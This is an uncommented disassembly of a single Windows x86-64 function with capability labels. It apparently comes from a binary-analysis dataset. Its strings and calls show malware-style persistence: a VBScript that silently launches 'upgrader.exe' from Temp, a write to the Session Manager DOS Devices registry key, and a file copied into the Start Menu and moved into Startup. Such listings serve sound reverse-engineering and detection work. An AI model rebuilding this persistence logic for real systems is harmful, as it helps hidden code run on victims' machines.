Function at 0x140012aa0
Capabilities:
Check if file exists
Copy file
Move file
Set registry value

Disassembly:
sub rsp, 0x598
mov qword [rsp + 0x4a8], 0xfffffffffffffffe
mov dword [rsp + 0x2b8], 0
mov dword [rsp + 0xf0], 1
mov dword [rsp + 0xec], 2
mov dword [rsp + 0x120], 3
mov dword [rsp + 0x58], 4
mov dword [rsp + 0xe8], 5
mov dword [rsp + 0xd8], 6
mov dword [rsp + 0x288], 7
mov dword [rsp + 0xf4], 8
lea rdx, str.C:WindowsTempc695b22faa5230baf0a6a46441528ae4.eev
lea rcx, [rsp + 0x30]
call fcn.1400144c0
nop
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rsp + 0x260]
call fcn.1400144c0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x150]
call fcn.1400159b0
nop
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x150]
call fcn.14001bf60
lea rcx, [rsp + 0x150]
call fcn.140015b70
lea rdx, [0x14008d398]
lea rcx, [rsp + 0xf8]
call fcn.1400144c0
nop
lea rdx, str.MountainHeather_File.eev
lea rcx, [rsp + 0x290]
call fcn.1400144c0
nop
lea rcx, [0x14008d3d8]
call fcn.140058c34
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1400144c0
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0xb0]
call fcn.14001c580
nop
lea r8, [rsp + 0x290]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x2c0]
call fcn.14001c640
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x4b8], rax
mov rcx, qword [rsp + 0x4b8]
call fcn.1400041b0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x2bc], eax
lea rcx, [rsp + 0x2c0]
call fcn.140004120
cmp dword [rsp + 0x2bc], 0
je 0x140012cb3
lea rcx, [rsp + 0xb0]
call fcn.140004120
nop
lea rcx, [rsp + 0x128]
call fcn.140004120
nop
lea rcx, [rsp + 0x290]
call fcn.140004120
nop
lea rcx, [rsp + 0xf8]
call fcn.140004120
nop
lea rcx, [rsp + 0x150]
call fcn.140013450
nop
lea rcx, [rsp + 0x260]
call fcn.140004120
nop
lea rcx, [rsp + 0x30]
call fcn.140004120
jmp 0x140013202
lea r8, [0x14008d3e8]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x2f0]
call fcn.14001c580
mov qword [rsp + 0x4c0], rax
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x4c8], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x4c8]
lea rcx, [rsp + 0x318]
call fcn.14001c700
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x4d8], rax
mov rcx, qword [rsp + 0x4d8]
call fcn.1400041b0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x2e8], eax
lea rcx, [rsp + 0x318]
call fcn.140004120
nop
lea rcx, [rsp + 0x2f0]
call fcn.140004120
cmp dword [rsp + 0x2e8], 0
je 0x140012dc1
lea rcx, [rsp + 0xb0]
call fcn.140004120
nop
lea rcx, [rsp + 0x128]
call fcn.140004120
nop
lea rcx, [rsp + 0x290]
call fcn.140004120
nop
lea rcx, [rsp + 0xf8]
call fcn.140004120
nop
lea rcx, [rsp + 0x150]
call fcn.140013450
nop
lea rcx, [rsp + 0x260]
call fcn.140004120
nop
lea rcx, [rsp + 0x30]
call fcn.140004120
jmp 0x140013202
lea rdx, [0x14008d450]
lea rcx, [rsp + 0x88]
call fcn.1400144c0
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x88]
call fcn.140014530
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rcx, [rsp + 0x88]
call fcn.140004860
lea rax, [rax + rax + 2]
mov qword [rsp + 0x4e0], rax
lea rcx, [rsp + 0x88]
call fcn.1400041b0
mov qword [rsp + 0x4e8], rax
lea rcx, [rsp + 0xf8]
call fcn.1400041b0
mov rcx, qword [rsp + 0x4e0]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x4e8]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0xf8]
lea rdx, [0x14008d4e8]
lea rcx, [rsp + 0x340]
call fcn.14001c760
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x4f8], rax
lea r8, [0x14008d4dc]
mov rdx, qword [rsp + 0x4f8]
lea rcx, [rsp + 0x368]
call fcn.14001c820
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x508], rax
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x508]
lea rcx, [rsp + 0x390]
call fcn.14001c700
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x518], rax
lea r8, [0x14008d194]
mov rdx, qword [rsp + 0x518]
lea rcx, [rsp + 0x60]
call fcn.14001c820
nop
lea rcx, [rsp + 0x390]
call fcn.140004120
nop
lea rcx, [rsp + 0x368]
call fcn.140004120
nop
lea rcx, [rsp + 0x340]
call fcn.140004120
lea rcx, [rsp + 0x60]
call fcn.1400041b0
mov rcx, rax
call fcn.140058898
lea r8, [0x14008d1a4]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x3b8]
call fcn.14001c580
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x528], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x528]
lea rcx, [rsp + 0x3e0]
call fcn.14001c700
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x538], rax
mov rcx, qword [rsp + 0x538]
call fcn.1400041b0
mov qword [rsp + 0x540], rax
lea rcx, [rsp + 0x30]
call fcn.1400041b0
xor r8d, r8d
mov rcx, qword [rsp + 0x540]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
lea rcx, [rsp + 0x3e0]
call fcn.140004120
nop
lea rcx, [rsp + 0x3b8]
call fcn.140004120
lea r8, str.Startup_
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x408]
call fcn.14001c580
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x550], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x550]
lea rcx, [rsp + 0x430]
call fcn.14001c700
mov qword [rsp + 0x558], rax
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0x560], rax
mov rcx, qword [rsp + 0x560]
call fcn.1400041b0
mov qword [rsp + 0x568], rax
lea r8, [0x14008d1ec]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x458]
call fcn.14001c580
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x578], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x578]
lea rcx, [rsp + 0x480]
call fcn.14001c700
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x588], rax
mov rcx, qword [rsp + 0x588]
call fcn.1400041b0
mov r8d, 4
mov rcx, qword [rsp + 0x568]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
nop
lea rcx, [rsp + 0x480]
call fcn.140004120
nop
lea rcx, [rsp + 0x458]
call fcn.140004120
nop
lea rcx, [rsp + 0x430]
call fcn.140004120
nop
lea rcx, [rsp + 0x408]
call fcn.140004120
call fcn.140013210
nop
lea rcx, [rsp + 0x60]
call fcn.140004120
nop
lea rcx, [rsp + 0x88]
call fcn.140004120
nop
lea rcx, [rsp + 0xb0]
call fcn.140004120
nop
lea rcx, [rsp + 0x128]
call fcn.140004120
nop
lea rcx, [rsp + 0x290]
call fcn.140004120
nop
lea rcx, [rsp + 0xf8]
call fcn.140004120
nop
lea rcx, [rsp + 0x150]
call fcn.140013450
nop
lea rcx, [rsp + 0x260]
call fcn.140004120
nop
lea rcx, [rsp + 0x30]
call fcn.140004120
add rsp, 0x598
ret